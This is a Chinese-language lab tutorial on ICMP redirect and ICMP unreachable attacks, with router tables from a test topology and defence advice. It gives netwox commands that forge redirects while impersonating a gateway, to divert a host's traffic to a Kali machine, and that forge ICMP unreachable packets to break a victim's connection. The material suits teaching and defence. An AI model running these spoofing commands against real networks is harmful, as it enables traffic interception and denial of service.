一、ICMP 重定向攻击
1、攻击原理
什么是ICMP 重定向
ICMP 重定向指的是,网络设备跨网段通讯时,发出的数据包,到达该设备指定的的网关时,网关经过查询路由表发现,目标主机不在该路由器所在的网段,此时,数据包需要再次从该接口转出时,下一跳地址在该网段的其他地方。这时,路由器启动ICMP重定向,主动向原始设备发送ICMP重定向包,告诉该设备目标网段对应的路由下一跳不在指定网关,请求重新定位新的网关地址,从而使得,数据包到达,正确的路由下一跳。避免了数据包绕路的现象。
优点:减少数据包对网络线路、设备带宽资源的消耗和占用,提高了数据传输速率和通信效率
案例拓扑
#R3 路由表
C 192.168.5.0/24 is directly connected, FastEthernet0/0
10.0.0.0/24 is subnetted, 1 subnets
S 10.1.1.0 [1/0] via 192.168.5.100
PC1 ping R4 f1/0接口
R1路由器F1/0接口,可以抓到R1 发给 PC1的 ICMP 重定向 数据包
按照 ICMP 重定向内容,修改R3 路由表后
C 192.168.5.0/24 is directly connected, FastEthernet0/0
10.0.0.0/24 is subnetted, 1 subnets
S 10.1.1.0 [1/0] via 192.168.5.200
PC1 ping R4 f1/0接口
R1路由器F1/0接口,抓不到任何关于PC1的 ICMP 数据包
R2 f0/0 可以抓到 ICMP echo 、reply 数据包
2、ICMP 重定向攻击
#给目标地址一个新的网关地址,以目前网关的名义发出
netwox 86 -f "host 192.168.5.10 "--gw "192.168.5.8" -i "192.168.5.200"
可以抓去到kali 系统伪装192.168.5.200发给192.168.5.200 接口,ICMP 攻击数据包
PC1 ping PC2 在kali 系统上可以检测到icmp-ping数据包
二、ICMP 不可达攻击
1、攻击原理
伪造网关给受害主机发送ICMP数据包,使得受害主机相信到达目标网段不可达
攻击
2、ICMP 不可达攻击
#伪造一个icmp不可达给受害主机
kali@kali:~$ sudo netwox 82 -f "host 100.1.1.1 and port 80" -i "192.168.249.200"
三、防御
ICMP 重定向攻击
一般情况下现有网络的设计是很少发出重定向,那么我们可以禁止网关发出重定向消息,主机不处理重 定向。
华为设备已经取消发送 ICMP 重定向和接受ICMP重定向数据包
ICMP 不可达攻击
增加服务断开的判断机制,做多重判断,不能仅从icmp不可达来判断失去连接从而断开服务。
例如:通过数据流量是否通讯异常,判读目标主机是否真正可达